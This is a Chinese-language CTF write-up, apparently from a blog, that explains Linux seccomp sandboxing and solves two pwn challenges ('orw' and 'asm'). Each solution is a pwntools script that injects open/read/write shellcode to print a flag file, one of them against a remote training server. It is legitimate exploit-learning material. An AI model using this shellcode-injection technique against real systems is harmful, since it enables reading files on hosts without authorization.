沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
安全计算模式seccomp(Secure Computing Mode)在Linux2.6.10之后引入到kernel的特性,可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用,增加系统的安全性。
在ctf中主要通过两种方式实现沙箱机制:
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
通过checksec可以看出其架构,远程的也是这个。
如果使用shellcraft、asm模块,要配置相对应的架构,可以通过context.binary = "./xxx"
自动地完成配置。
用seccomp-tools dump ./orw
检查被限制的系统调用:
允许的函数主要有open、read、write系统调用函数,用这个函数读取flag。
用32位的IDA打开进行分析:
没有数据段不可执行保护,所以直接往bss里面写shellcode就可以了。通过shellcode写入后,后面第6行就进行执行了。
EXP:
from pwn import *
context.log_level = "debug"
context.binary = "./orw"
io = process("./orw")
#io = remote("node4.buuoj.cn",27178)
bss = 0x804A060
payload = shellcraft.open("flag")
payload += shellcraft.read(3,bss + 100, 100)
payload += shellcraft.write(1,bss + 100, 100)
io.recvuntil("Give my your shellcode:")
io.sendline(asm(payload))
print(io.recv())
先用checksec工具检查架构和其保护机制,然后使用seccomp-tools工具检查受限制函数(这步是在打开IDA后,看到sandbox函数后进行的)。
从图可以看出,仅被允许的系统调用有:read()、write()、open()和exit()。(这个在IDA的注释里面也有说明~)
用64位IDA打开分析程序:
函数分析:
stud[46] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48"
,反汇编:(其实就是清空寄存器,好像不影响写入shellcode)chroot(directory)
:将该进程的根目录改为directory。可以防止我们找不到远程中的路径,我们直接open("./flag")
就行。((void (*)(void))s)();
就是从s那里开始执行。分析完程序,已经很明显了,和上一题一样。通过17行写入shellcode,然后21行会进行执行。EXP:
from pwn import *
context.log_level = 'debug'
context.binary = './asm'
#io = process("./asm")
io = remote("node4.buuoj.cn",26533)
addr = 0x41414000 + 0x100
payload = shellcraft.open("flag")
payload += shellcraft.read(3, addr, 0x30)
payload += shellcraft.write(1,addr, 0x30)
io.recvuntil("give me your x64 shellcode: ")
io.sendline(asm(payload))
print(io.recv())
↶ 返回首页